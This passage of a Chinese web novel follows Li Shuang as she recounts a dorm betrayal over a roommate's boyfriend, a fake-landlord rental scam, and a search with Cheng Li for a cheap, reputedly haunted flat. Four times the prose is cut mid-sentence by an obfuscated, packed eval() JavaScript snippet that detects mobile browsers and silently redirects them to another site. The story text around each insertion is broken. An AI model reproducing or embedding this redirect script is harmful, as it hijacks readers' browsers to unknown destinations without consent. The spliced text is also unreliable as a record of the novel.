渴望友谊但不傻的李双很快就回过味来,可惜她再想改变人设已经来不及。她的沉默变成了默认,抗议变成了假大方,拒绝也变成了扫兴。 自我催眠了一段时间后,李双终于爆发了。 起因是和1、3号床去逛时装店,这两人试衣服试得热火朝天,把拎包和私服丢给了李双保管。试衣间只能进两个人,大包小包的李双只能听着她们在里面咯咯笑,自己站在门口等。 好不容易等到俩人出来,想试条新裙子的李双正准备进去,1号床猝不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957842|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防说: “别试了李大脚,你是长发男,这种粉嫩的小裙子你下辈子也穿不了。” 李双的表情已经开始绷不住,3号床不知道是不是故意的,火上又浇了把油: “对啊对啊,你不如去男装区看看,硬凹女人味没结果的。” 怒气100%的李双骂了句“有病吧你们”!将包丢在她们脸上,举着没试穿的裙子结了账,一个人气鼓鼓地回了宿舍。 很难说是心理,还是客观原因,穿上裙子的李双盯着镜子里的自己,左看右看都觉得别扭。她沮丧地将裙子洗干净,塞进了衣柜最深处,一次都没拿出来穿过。 至此,123联盟正式宣告破裂。形影不离的1、3号床毫无愧意,把李双当透明人。 有次李双出门忘带钥匙,敲了半天门没人应答,还以为舍友们都出去了,就蹲门口等。一小时后,舞蹈系三人组回来,李双跟着进去。傍晚时分,1、3号床铺的床帘被掀开,二人若无其事地吃饭去了。 目睹全程的李双都气笑了,没忍住在武术系新女生的“七仙女”群里吐槽。大家都很同情李双,七嘴八舌地安慰她。 大为感动的李双立刻将社交中心转到她们身上,时不时就跑去找她们。可人家宿舍与李双所处的不是同一栋楼,而且她们也要休息。被委婉地下了几次逐客令后,李双彻底放弃了串门。 孑然一身的过去与现在重叠,李双哀叹自己是天生没朋友的命,放弃挣扎,接受了一个人度过大学四年的命运。 此时转折出现了!舞蹈系的5号床主动朝李双抛出了橄榄枝,邀请她参加周末的生日聚会。 5号床是本地人,长得漂亮,家境富有,性格温柔又落落大方。她不仅与4号床是认识多年的闺蜜,也是舞蹈系三人组的中心。她的邀请无疑给李双干涸的内心降下了甘霖,李双只纠结了0.1秒,就乐颠颠地答应了赴约。 聚会当日,李双带着精心挑选的礼物进入包间,作为寿星的5号床主动跳出来介绍了李双,还把她拉进了亲友群。 李双受宠若惊地吃完了整顿饭,在群里潜水。半夜,5号床艾特全员给她朋友圈点赞。李双惊喜地发现,5号床九宫格朋友圈的第六张,是一张与李双的自拍合照。 聚会里所有人都和她合照了,与别人的合照都被拼成了长图,点开才能看见,唯独与李双的是单张,不用点开就能看到。 李双激动地在床上打滚,恨不得给这条朋友圈点一万个赞。 可李双也很悲观,她告诫自己别太上头,人家没准只是一时兴起。 谁知到了礼拜一中午,5号床私聊李双,再次邀请她一起吃午饭。 李双直接将告诫抛之了脑后,小跑冲进食堂,舞蹈系三人组都在,同时还有5号床的男朋友。李双先前在聚会上见过他,挺帅一男的,据说是隔壁音乐学院管弦乐系的系草,拉得一手好大提琴。 5号床与男友青梅竹马,两小无猜,双方父母是旧识,家境也门当户对。一舞一乐,珠联璧合。 二人从小学就互生情愫,高中在大人们的支持下确定了恋爱关系,直到现在感情都很稳定。5号床经常夸男友永远包容着她的小脾气,哪怕谈了很久也不少仪式感,礼物更是节节不落,把她宠得像个公主。 因为某些理由,李双对恋爱有心理阴影。但她没有多嘴,友善地表达了祝福。 日子一天天过去,李双与5号床的关系越来越密切,偶尔也会参与群聊。 某天晚上,一个叫“青山遍野”的用户加了李双好友,申请界面显示祂来自亲友群推荐。 李双点了同意,对方声称是5号床的朋友倪翠,之前在聚会上露过脸,还发过来一张与5号床的合照。 倪翠说想多交点朋友,李双觉得这个理由有点怪,却也没想太多。 二人开始有一搭没一搭地聊天,基本都是倪翠主动分享日常,拍晚霞与花花草草给李双。对方谈吐文雅且有梗,李双经常被她逗笑,给予的回应也很真诚,还约她周末一起吃饭,但倪翠每次都搪塞了过去,李双也没强求。 周三的早晨,唯一没课的李双在宿舍睡懒觉,被5号床的通话震醒,她喊李双去东门拿男友给她们买的奶茶。得知有免费的奶茶喝,李双跳下床,脸也没洗就出门了。 令李双意想不到的是,来送奶茶的不是外卖员,而是男友哥本人。李双擦掉眼屎,顶着乱糟糟的头发凑了上去。对方送来的是无法外卖的网红奶茶,李双老早就想尝尝,一直懒得排队。 圆梦的李双提着奶茶,情不自禁对男友哥露出了笑容。 李双苦笑着搅拌艇仔粥:“要是能回溯时间,我一定会控制自己。” “控制什么?”程理问。 李双抬起头,一字一顿地说: “不要对死渣男笑。” 8. 第8章 又过去一段时间,一向回避线下会面的倪翠主动提出周五晚上请李双吃饭。于情于理,李双都没有拒绝的理由。 倪翠将见面地址发给李双,那是一家装修极有格调的餐厅,摆盘精致,价格昂贵。微妙的是,它被探店博主评为“顶级情侣约会圣地”,评论里晒图的也大都是成双入对的男女。 李双提出换个地方,倪翠执拗地敲定了这家店,还付了座位费,李双只能听她的。 见面前一晚,倪翠喊李双打扮漂亮点。李双以为她要和自己一起出片,以最高规格收拾了自己。到了当天,李双携带礼物提前到场,在预定的座位兴奋地等待。 看到男友哥捧着红玫瑰向她走来时,傻傻的李双还很高兴,心说真巧!大家出来吃个饭也能遇上。 李双的笑容下秒就僵住了。因为这家伙一边同她问好,一边把玫瑰递了过来。 李双当然没接,震惊地反问他是什么意思。令李双三观尽毁的事出现了!男友哥自曝私用了倪翠的马甲,为的就是接近李双,今天请她来吃漂亮饭不为别的,正是来告白的! 这些天与李双热聊的人,不是5号床的好朋友,而是她的男朋友! 店内所有人都在看热闹,惊恐的李双生怕遇到熟人,那她就跳进黄河也洗不清了!她省略破口大骂的功夫,撞开渣男就跑,连礼物也忘了带走。 街上秋风萧瑟,绞尽脑汁思考的李双却热得恨不得脱光。 她真想曝光渣男,但转念一想:他是5号床宝贝得不得了的初恋,李双也无法证明倪翠不是倪翠,万一渣男打死不承认,5号床把她打成爱挑拨是非的小人就不好了! 思来想去,李双决定按兵不动。 一进宿舍,大家都围在5号床身旁,宿舍里回荡着她伤心欲绝的哭声。李双心下一咯噔,询问发生了什么,得到了渣男与5号床断崖式分手的消息。 4号床看着僵硬的李双,疑惑地问:“这么早就回来了?你衣服上红色的是什么?” 一低头,李双顿时手脚冰凉—— 她衣服上竟然沾着一片玫瑰花瓣! 李双撕碎花瓣,装作若无其事地丢进垃圾桶。她刚想上前安慰哭得梨花带雨的5号床,手机就亮了,渣男不知从哪里搞到了她的手机号,发过来一条三千字的小作文。 他说他收到李双的礼物了,他很喜欢,还说宴会那天就注意到李双了。拿奶茶时,李双冲他莞尔一笑,让他小鹿乱撞了好几天。他抱怨5号床又作又无聊,他早就腻了,他已经和5号床断了,希望李双能认真考虑和他交往。 李双草草看完,差点把隔夜饭吐出来。 她准备出示小作文,让5号床看清渣男的真面目,可下一秒,她又缩回了手。 李双无法判断5号床知道真相后会如何,能振作起来最好,要是她过于恋爱脑,把分手的事迁怒李双,怪她贼喊捉贼,李双岂不自讨没趣? 种种因素叠加,李双选择了保密。她挤进人群安慰5号床,同时把渣男骂了个狗血淋头。3号床阴阳怪气地说你怎么比本人还生气?李双回答我就见不得好人受气。 被李双的正义凛然感染,5号床破涕为笑,她握住李双的手道谢,说自己好多了。李双嘿嘿一笑说那就好。 5号床嘴上说没事,夜里依然会看着与前男友的合照抹眼泪,饭也不怎么吃,几天下来瘦了一大圈。李双非常关心她,给她买早饭,陪她逛街散心。在持之以恒的开导下,5号床情绪好了很多,眼睛重新恢复了神采。 正当李双以为没事了的时候,情况再次直转急下! 独自下课的李双回到宿舍,所有人都在座位上不说话,房内安静得连呼吸声也听不见。 察觉氛围不对的李双还没开口,就听见1号床刻意地叹了口气:“你说有的人,明明道貌岸然,怎么就那么能装呢?” “估计上辈子是个蛇皮袋吧。”3号床搭腔,“反正我是做不到当面一套背后一套。” 暴脾气的李双直接杀到她身旁,仗着高个子居高临下:“骂人不要遮遮掩掩。来,对着我本人说。” “你凶什么?”同样暴脾气的4号床抬高音量:“挖人墙角还有理了?一个巴掌拍不响!狗男人固然下贱,当小三更是不知羞耻!” 事情怎么败露的李双没功夫在意,她辩了两句,意识到空口无凭,急忙掏出手机自证清白:“我没挖墙角!是那个贱男自己找的我,不信你们——” “你真的早就知道!”许久不发话的5号床蹭地起身,她满脸是泪,眼珠怨恨地剮着李双:“枉我对你那么好,别人说看见你和他约会,和他聊天我还不信!明明知道他是我初恋,你还上赶着勾搭!恶不恶心啊!” “再说一遍,我没有勾搭那个扑街!”李双火气也上来了,把手机拍在她桌上:“他用倪翠的马甲和我聊天,他约我的时候,我以为是倪翠约我,你看聊天记录!” 5号床抹掉眼泪,快速翻完刺眼的聊天记录,冷哼一声抱起手臂:“倪翠本人明明就在群里,会特意拿另一个号加你么?想想也知道不对吧?我看你根本就心知肚明加你的人是谁,两个人合伙做戏给我看!” “因为他说大号老师太多了,特意开的小号!”李双崩溃地抱住头。 “这话骗骗自己得了,想骗别人就太可笑了!” “你!”直视她扭曲的脸,李双猛然意识到—— 争吵没有意义。 糟糕的爱情把原本明媚的女孩变成了是非不分的傻*,她宁可把错误一股脑推给别人,也不会承认原本喜欢的男孩是个彻头彻尾的烂货,否则过去的美好回忆就完全幻灭了。 她并不在乎李双是否无辜,更不在乎渣男爱不爱她,她只在乎自己能否自洽。拔河的对手是整座山,李双怎么可能赢? 李双取走手机,平静地回到座位:“不管你信不信,我的自证到此结束,不会再解释了。” 4号床大骂:“真是当**还要立牌坊!” 砰! 李双一拳砸进衣柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957843|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,铁皮门凹进去一大块: “再胡言乱语别怪我不客气!” 被她的杀气震慑住,其余五人只能偃旗息鼓。 经此一事,不仅宿舍群再无人发言,宿舍里的大家也能不说话就不说话。隔壁宿舍时常传来欢声笑语,李双宿舍则一片死寂。看着再也不会出现新消息的群聊,李双愤愤地取消了置顶。 周末,李双一个人躺在宿舍,她在朋友圈刷到了其余舍友去吃火锅的合照,搭配在一起的,是新宿舍群的搞笑聊天截图。 是的,五人群,没有她。 原来不是大家不说话,是大家不和她说话而已。 顿悟的李双鼻子一酸,泪珠啪嗒啪嗒掉了下来。 妈妈一直教育李双要坚强,李双也以“流汗流血不流泪”来约束自己,她都不记得上次哭是什么时候了。她现在的委屈,比高中时只多不少。 李双没有人能倾诉,同专业的人不可能一直当她的情绪垃圾桶。大哥远在美国学业繁忙,妈妈只会指责这种小事都处理不好的李双没用,爸爸只会让她忍一忍别去在意。二哥倒是能给她出头,可他是个人高马大的男生,难不成冲进女生宿舍骂街么?那样李双更难做人。 李双趴在枕头上,自我消化着这份痛苦。 随着眼泪挥发进空气,李双的悲伤褪去,嶙峋的反骨刺了出来。 孤立就孤立,反正也不是没被孤立过,看老娘一个人孤立你们所有人! 或许是大数据检测到了她的愤怒,一则“搬出宿舍后我重新活了过来”的帖子刷到了她面前。李双看完一拍大腿: 对啊!我可以搬出去住啊! 李双铁了心不受这鸟气,当即联系了导员退宿舍,哪怕对方告诉她,退宿舍不退宿舍费,她也坚定地回复了OK。 在租房APP刷了半天都没有满意的,李双在小红书发了个“诚求租房”的帖子,很快就有个男生找上了她。 经过一番交流,李双前往实地看房,房子完美契合李双的要求,价钱还合理。只不过他要求押一付三,也就是支付一个月押金,再加三个房租。零零总总算下来,金额高达六千元。 李双谨慎地要求看房本等材料,对方不仅一一发来照片,中间还有一张熟悉的学生证。 对方同为校友,证件也齐全,放下心来的李双爽快地签合同付钱,用最快的速度搬进了新房。搬走的当天,她直接换了张新电话卡,微信账号也换了,力求与过去的宿舍生活一刀两断。 租房的问题解决,接下来要为下月的水电煤气做打算。李双存款告急,自然想到了打工,在无数次被拒绝后,她终于被程理所在的便利店录用。 虽说兼职生活不比以往快活,日子也过得紧巴巴,但一个人住的李双心里舒坦极了!为了这份心灵上的自由,她愿意付出劳动,吃糠咽菜。 李双的新生活,在半夜骤然出现的开门声中戛然而止。 “让我猜猜,”程理的眼镜微微反光,“你被二房东骗了。” 9. 第9章 李双大惊:“你怎么知道?” 进门的是一对年轻夫妻,看到李双,二人也吓了一跳。两拨人在客厅对峙,夫妻俩声称是这间房的户主,刚结婚没多久,装修完婚房就出国度蜜月了。 李双要求对方证明,男主人打开手机,向她展示了朋友圈发过的房本照片,内容与房东发给她的图片无论是光线还是颜色都完全一致!唯独权利人的名字对不上。 颤抖着放大房东发来的照片,李双这才发现,对方在姓名栏P了图…… 男主人一看名字,愤怒地表示假房东是他堂弟,平常就不学无术,多半是闹婚房那天记住了电子锁的密码,看到堂哥发了朋友圈,又即将出国度,于是心生歹念…… 估计是在家族群听到了风声,堂弟已经销号跑路。他的父母离婚又各自再婚,他自己早早辍学,没有正经工作,谁也不知道他现在在哪。 夫妻俩非常崩溃,新房自己还没住,就被陌生人捷足先登;李双更崩溃,骗子不是房东,意味着租房合同没有法律效力…… 报完警,三个倒霉蛋坐下来商量后续。夫妻俩很善良,看在李双也是受害者的份上,没有要求她支付赔偿,唯一的要求是立刻搬走。 自知理亏的李双没有纠缠,却也没有回宿舍,毕竟她搬走那天特意搞得声势浩大,换微信前还发了朋友圈阴阳。眼下搬走没几天就回去,岂不是打了自己的脸? 捉襟见肘,但倔强的李双开启了“浪人”生活,今天住这家青旅,明天住那家民宿,每次的房费单价都不超过30。 然而钱还是不够花,李双只能铤而走险,发帖问谁需要住家家政,还真有个人联系她。 “住家家政?你怎么敢的?”程理扶住额头。 “我当然知道危险,可不也是没办法嘛。”李双不好意思地低头,“而且我很小心的,不吃她家的东西,也不喝她家的水。” “有什么用?万一大半夜偷袭你呢!” 李双眨眨眼:“你怀疑我的武力值?刚刚的一打六这就忘了?” 程理闭上了嘴。 头铁的李双住了进去,联系她的人是个孕妇,和身体不好的婆婆一起住在老小区。李双用洗衣打扫,换取洗澡洗衣与睡客厅沙发的权利。 当家政工的这几天,李双发生了与KTV的纠纷。祸不单行,台风那晚,孕妇外出打工的老公突然回了家,与李双打照面时,表现得比她还惊慌,呵斥老婆“怎么能让陌生人进门”! 孕妇与小心眼的男人对骂,让李双过了台风天再走,但李双很有骨气地选择了拒绝,提着行李箱步入了风雨中。 李双身上的钱只剩下26,除了5公里外的“魂牵梦绕”酒店外,没有其它住宿选择。李双本打算坐地铁,结果该死的台风让地铁停运,她只能步行。 人生地不熟的李双用手机导航,在经历雨伞被风折断、手机没电、迷路等等倒霉事后,她彻底破防了,在芒果树下休息,兼思考人生。 “都这样了……”程理小心斟酌着措辞,“怎么不给家里人打个电话?哪怕会批评你,也不至于眼睁睁看你淋雨又挨饿吧?” “是不至于。”李双低低地说:“她们会一边骂我,一边给我钱,说不定还会从香港跑过来为我安顿住所。” “那为什——” “因为我欠了家里人很多钱,”李双语气淡然,“不想让再让她们为我花钱了。” “什么钱?欠多少?” “我不想告诉你,反正数字不小。” “一家人还分欠不欠么?” “我说欠就欠,你这种无债一身轻的自由人是不会明白的。” 程理脱口而出:“你怎么知道我没欠债?” 李双没回答。 晚风静默地穿过街道,沾满油的塑料桌布被吹得哗哗响,无人的餐桌摆满残羹剩饭,倒映在空酒瓶的灯光逐渐寂寥。 李双盯着碗底的米粒:“是不是听着很无语?在你这种八面玲珑的人看来,我一定很蠢吧?明明我只要忍一忍,在宿舍戴好耳机,安安分分地忍到毕业就行。可我非要自找麻烦,又经验不足,最后一步错,步步错。” 程理为她的空杯添茶:“你觉得我很擅长为人处世?” “不是么?难缠的人你能四两拨千斤说服。店长喜欢你,工友敬重你,哈……连顾客都看上了你,只不过你不领情。” “我没你想得那么完美。”程理轻轻摇头:“我只是……算了。初入社会总是青涩的,你勇于改变现状,只不过太大意走错了路。雨也淋了,风也吹了,你已经为‘错事’付出了代价,接下来就该得到奖励了。” “哈哈,程理,你真的很会说话,被你形容的好像我是个铁骨铮铮的将军。”李双苦笑着垂眸:“其实我明白的……我不勇敢,我只是个处理不好宿舍关系的loser,一个逃兵。” “你对自己太苛刻啦。我比你大一岁,已经经历了一年宿舍生活,也遇到过不少糟心的破事。我唯一比你强的地方,是我比较能忍。” “你们宿舍也经常吵架么?” “有人的地方就有是非,更何况四大名著里有三本都是男人勾心斗角。既然说到宿舍关系,那我也来和你吐槽吐槽。”程理掰着指头: “2号床,外面看着挺体面,其实个人卫生极其糟糕,从不参与宿舍打扫,还总是‘不小心’把垃圾推到我床下。 3号床也是,一喊他打扫卫生就装死;4号床稍微好点,但是个重度网瘾少年,他的床铺在我正对面,没装床帘前,我一晚上能被他打游戏的闪光弹晃醒好几回。 5号床,深圳来的富哥,也是借我衣服的人,打起呼来震天响,看在他经常分零食,外加人挺好的份上,我不和他计较。 6号床是个落榜学霸,不打游戏爱干净,但他真的……优越感太强了!张口政治,闭嘴形势,最爱在宿舍里高谈阔论,一副‘我比你们懂得多’的样子。整宿整宿开着他那个破氛围灯,缴电费的时候倒是要求大家AA。” 李双诧异地说:“我还以为学历高了,宿舍生活会更融洽。” “学历越低,神人越多;学历越高,神人越神,这是亘古不变的真理。”程理收回惆怅,诚恳地看着李双: “李双,没人规定舍友非要成为朋友,大家只是恰好被分到了一间屋子合住,不要以为是什么天定的缘分。不同的成长环境带来不同的思维方式,摩擦是一定会出现的。你被孤立只是因为你与她们三观不合,不代表就是你的问题。” “你还怪会安慰人的。”苦瓜脸的李双终于浅浅笑了起来。 “嗯,这个夸奖我收下了。宿舍话题结束,我们来聊点现实的。你当下需要一个栖身之所,以及足够你生存下去的钱。” “是的,不过第一个问题已经解决了,我会暂且住在那里,直到——” 程理打断她:“不对,第一个问题没有解决。你现在居住的地方,性质和孕妇家并无不同。这两天刮台风,广州游客少,租金才便宜,等台风过去,租金就不止45一晚上了。” “这样啊……了解了。我会尽快找个新家的。” “就你身上这点钱,二房东再想骗怕是也很难。” 李双的表情像是突然被针扎了一下,态度也忍不住变得粗鲁:“你、你别管!我会自己想办法。钱已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957844|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经还给你了,我们两清。” 程理被凶了一下,倒也没有生气:“不要急,越急越容易出错。我有办法,能高效、合法合规地帮助你渡过难关。” “什么办法?代价是什么?” 程理摆了摆手,将最后一口茶一饮而尽:“我需要时间整理思绪,明天还要上课和打工,具体的讨论就留到周六吧。你周六一整天都空吧?” 李双点点头。周六的早上,她被程理用电话吵醒: “早上好。我现在从学校出发,大概20分钟到你那,给你带了食堂的包子,路上凑活吃。” 李双迷茫地问:“去哪的路上?” “看房的路上。计划书发你了,时间紧,做得比较粗糙,意思就是这么个意思。” 李双反手点开名为《找房计划书》的文档。印入眼帘的是一张地图,李双的学校、打工的便利店被标了红点,周边通行时长不超一小时的小区、租房中介全都画了圈,同时用文字详细罗列了房间选择指南。 “你管这叫粗糙?”迷迷瞪瞪的李双瞬间清醒,快步冲进卫生间。 “很粗糙呀。总之我们今天要跑的地方你已经清楚了,我出发了,一会见。” 19年来,高行动力始终是李双自认最大的优点。直到看见提着包子朝她挥手的程理,她才深刻意识到了什么叫人外有人,天外有天。 程理载着她进入计划租房的区域,停好电瓶车后,二人步行前往租房公司。 李双以为她们会按照文档写的地址一家一家逛过去,但程理没有直接进店,而是简单在小区里走了几圈,又或者连走都懒得走,隔着马路随便望了眼,就拉着她去往了下一个地址。 “就走了?不进去看看?”李双问。 “嗯。”程理掏出纸质文档打了个叉,“这小区大门建得富丽堂皇,租金不会低的。” “刚刚的老小区呢?” “那些楼的外墙都发黑开裂了,居民又大都是上了年纪的阿公阿婆,个个占着消防通道做菜烧纸。肉眼看见的安全隐患就这么多了,更别提房子里面。” “好一个见微知著!”李双感叹:“和你比,我简直是个新兵蛋子!” “哈哈!夸奖的话等找到了房子再说吧。” 在程理超高效率的筛选下,太阳下山前,她们就把计划书上的小区跑了个遍。中途有进过几次租房公司,得到的反馈都不理想。要么户型差,要么贵,要么又贵又差,还得交抵得上一个月房租的中介费。 回民宿的路上,心累的李双说:“要不就最后看的那间吧,采光是糟糕了点,离马路是近了点,好歹够便宜,还只要押一付一。只要我贷个一千块,就能住进去了。” “再观望观望,欲速则不达。”程理扶着车把,眼观六路:“本想尽量降低你的通勤难度,看来是做不到了,我回去扩大下选区,明天再看一圈。到时候还没合适的,再下手也不迟。” “可中介说那房很抢手,会不会明天就没了?” “不这么说,中介怎么压力你付定金?今天看的有几间不要求押一付三?如果这房真的够靓,怎么会租不出去,反而愿意自降身价?遇到慈善家的可能微乎其微,踩坑倒是十有八九。” “有道理!”李双拍了拍他的肩,“今天麻烦你陪我跑了一整天,我请你吃牛肉粿吧,配菜随便加的那种!” “很上道嘛,那我就不客气了!” 二人在餐馆分别,回到民宿的李双屁股还没坐热,就接到了程理的电话。 “我就开门见山地问了。”程理微微喘着气,似是有些紧张: “李双,你愿意住凶宅么?” 10. 第10章 李双坐在电瓶车后座,光怪陆离的灯影快速掠过她眉头皱起的脸,她正握着手机,阅读程理发来的新闻: “男博士出租屋内烧炭自杀,现场留有遗书一封,坦言轻生理由系被导师压榨,毕业无望,目前学校及导师并未做出回应……好可怜的博士,好惨的房东,这导师简直是畜生啊!” “这件事是三年前发生的,后来导师被学校开除了。虽然抵不了一条人命,好歹也是付出了代价。”程理顿了顿: “出事的小区叫银曜花苑,我说‘大门富丽堂皇’,因而唯一没去考察的地方。” “这么巧?” “是的,我回去的时候路过,想着来都来了,就进小区转了一圈。在告示牌上看到了房东贴的招租广告,月租才一千!要知道银曜花苑前有商场后有学校,地铁公交一个不落。我上网查了下,同小区的房子租金都要三千朝上,这么便宜肯定不对劲吧?果不其然,我打着手电重新端详广告,发现有人用红笔在右下角写了两个字。” “我猜……”李双眯起眼:“那两个字是——‘闹鬼’。” “完全正确!所以我立刻找了同学打听情况,她不仅住本地,还是个消息活络的包打听。新闻链接就是她转给我的,同时还告诉我,这间房是知名凶宅,闹鬼严重。” 李双惊讶地问:“原来你不是广州本地人?” “关注点怎么是这个……我要是本地人干嘛还住宿。” “你老家哪的?在广东境内么?” “在啊,我是肇庆的。” “完全不认识。”李双一脸痴呆,“广东有这么个城市吗?” “你……”电瓶车压过减速带,生生截住了程理的脏话:“那我问你,你住香港哪个区?” “元华区。” “听都没听过。香港有这么个地方么?” “停止互相伤害吧,刚刚是我嘴贱。”李双尴尬地搓了搓手:“回到凶宅的话题,闹鬼怎么个严重法?” “包括但不仅限于:窗边黑影、夜半低语、物品无故落地、鬼压床。因为死者选择轻生的方式是在浴室烧炭,据说阴雨天……浴室下水道会飘出烟熏味。” “呃……”李双瘪了瘪嘴,“听起来像是古早都市怪谈会出现的情节。” “我知道香港的都市怪谈很生猛,送外卖的收到冥币啦,旧车站只听唱戏不见其人啦。你估计是从小听,听多了就没感觉了。” 李双眨了眨眼:“其实我还真没听过多少怪谈。不做亏心事,不怕鬼敲门,心里没鬼的人,干嘛要怕那些虚无缥缈的东西呢?” “有时候不是人主动寻找鬼,而是鬼主动找上了人。” “我还真主动找过鬼。”李双扬起神秘的笑容,“想不想听故事?” “我要说不想呢……” “不行,必须给我听!”李双笑着拍了他一记:“9岁的时候,我跟随父母搬到了纽约的一个乡下小镇,也进了镇上唯一的小学读书,我的同学80%都是基督徒。我那时英语不好,又是个无神论者,不免会被那群外国小孩排挤。 学校边上有片墓地,校车每天都会经过那,镇上有个很出名的怪谈,说是凌晨时分出现在墓地的孩子,会撞见幽灵。” “真的不是家长合起伙来吓唬孩子们不要在外面乱晃么?”程理一针见血地吐槽。 “是吧!我心里这么想了,嘴上也这么说了。但那群小屁孩非要和我犟,一个个说得言之凿凿。我就说,我活这么大还没见过幽灵呢,那我凌晨去墓地会会它呗。” “哇不愧是你,钛合金头骨拥有者。” “多谢夸奖。一言既出驷马难追,半夜等家里人都睡了,我背着包就出发了。包里一共装了三样东西,分别是手机、手电筒,还有一样先保密。我用手机开了直播,不夸张地说,全校孩子都来看热闹了。” “可以想象那晚的盛况。”程理忍俊不禁地点头。 “骑着自行车,我很快就到达了墓地,找了个最大的墓碑坐下。那晚是个阴天,空气又湿又冷,月亮被云层遮住,草地里弥漫着莫名其妙的白雾。我等啊等啊,等到凌晨三点也无事发生。因为太冷了,我爬起来,一边呼唤幽灵,一边在墓地里小跑取暖。大概过了15分钟——幽灵,真的出现了我的正前方。” 程理配合地倒抽了一口凉气。 “它披着白床单,眼睛的位置扣了两个洞,造型挺古典是不是?我把手机架在墓碑上,掏出了包里的最后一样东西—— 我的钢指虎。” “噗。”程理肩膀狂抖。 “稍微穿插一点基础信息,我3岁学武,10岁就能做到一秒五拳。但因为体重小,所以一拳只能打出485磅的力量,所以才特意带了指虎增加杀伤力。 幽灵朝我冲了过来,其实那一瞬间我还挺慌的,担心物理攻击无法对它起效果。但下一秒我就不慌了,因为我击中它的时候,明显感觉到了体温。 换而言之,那是个人扮的假幽灵。 知道是人扮的,我就完全没了后顾之忧。为了表示对‘冥界‘的尊重,我使出了全部看家本领,全校学生就这么看着我在直播间单方面痛揍了20分钟幽灵。 直到幽灵躺地上不动,被单也几乎变成了红色,我揭开布一看,假幽灵竟是学校的男体育老师!我赶紧报警,警察搜查他家,最后得出结论—— 他是个变态虐童癖,借用怪谈扮鬼,就是为了看孩子们害怕的模样,以满足自己变态的欲望。” “你为民除害了!”要不是在开车,程理真想为她鼓掌。 “是啊。那是我唯一一次搞出事情,我妈却没有揍我。”李双脸上的笑意慢慢消散:“可在我制服他前,他成功了无数次。曾有对双胞胎也半夜去墓地探险,被他吓到,全油门撞上了树。其中一个当场死亡,另一个半身瘫痪。” 李双的声音很轻:“要我说,什么神啊鬼啊的,都没有人可怕。况且……倘若枉死的人真能化为厉鬼复仇,那我们的近代史,也不会那么惨烈了。” “说得也是……” 气氛一下变得沉重,二人没有再聊天。车在招租广告前停下,程理盯着看了一会,脸色变得很难看: “刚刚都没注意,这间房居然是4号楼8层404室。” “鬼我都不怕,还会怕一串数字?”李双面无表情地拨通房东的电话,背景音乐是哗啦啦的麻将声。 手气不佳的男房东不耐烦地问找他干嘛,李双说明看房意向后,他的态度来了个一百八十度大转弯,请求李双在大门口等一会,自己马上就到。 房东过来的时候,人字拖都跑出了残影。简单打完招呼,他领着二人走进4号楼。 进入楼道,以及电梯上行的途中,没有任何异常发生。可电梯门开启的刹那,一阵怪风迎面而来!楼道边的窗户大敞,昏暗的廊灯下,用朱砂写满符咒的黄布条在404号房门上肆意翻飞。 “哎呀你看我。”汗流浃背的房东闪现关窗,“为了通风,竟然忘记关窗了。” 程理瞟了眼大门右下角的香炉,没敢问是为了什么而通风。 房东用钥匙打开门,如果没有那些传闻,李双压根想不到眼前灯光明亮,装修简约的屋子竟是个知名凶宅。 用身体遮住鞋柜的公鸡碗,房东露齿而笑:“随便看,别客气!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957845|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程理揉了揉自己僵硬的脸,开始绕着房间细细检查。 跟在他身后的李双频频点头。见识过了白天那些个“歪瓜裂枣”,404号的整体素质显得尤为高:户型小却精致,南北通透、基础家具齐全、隔音好。虽然楼层不高,但从阳台朝外眺望,依然能看到不错的夜景。 程理凑在李双耳旁说:“有点阴森,除此以外我没看出什么问题。” 李双大喜:“就它了!” “要不还是算了吧。”程理打开新闻:“你看媒体拍的照片,房里的陈设几乎没变。也就是说,沙发,冰箱空调,电风扇男博士全都用过……” “有什么关系。”李双无所谓地撩头发:“墓里的陪葬品不是更晦气?很多人还特意收藏呢!” 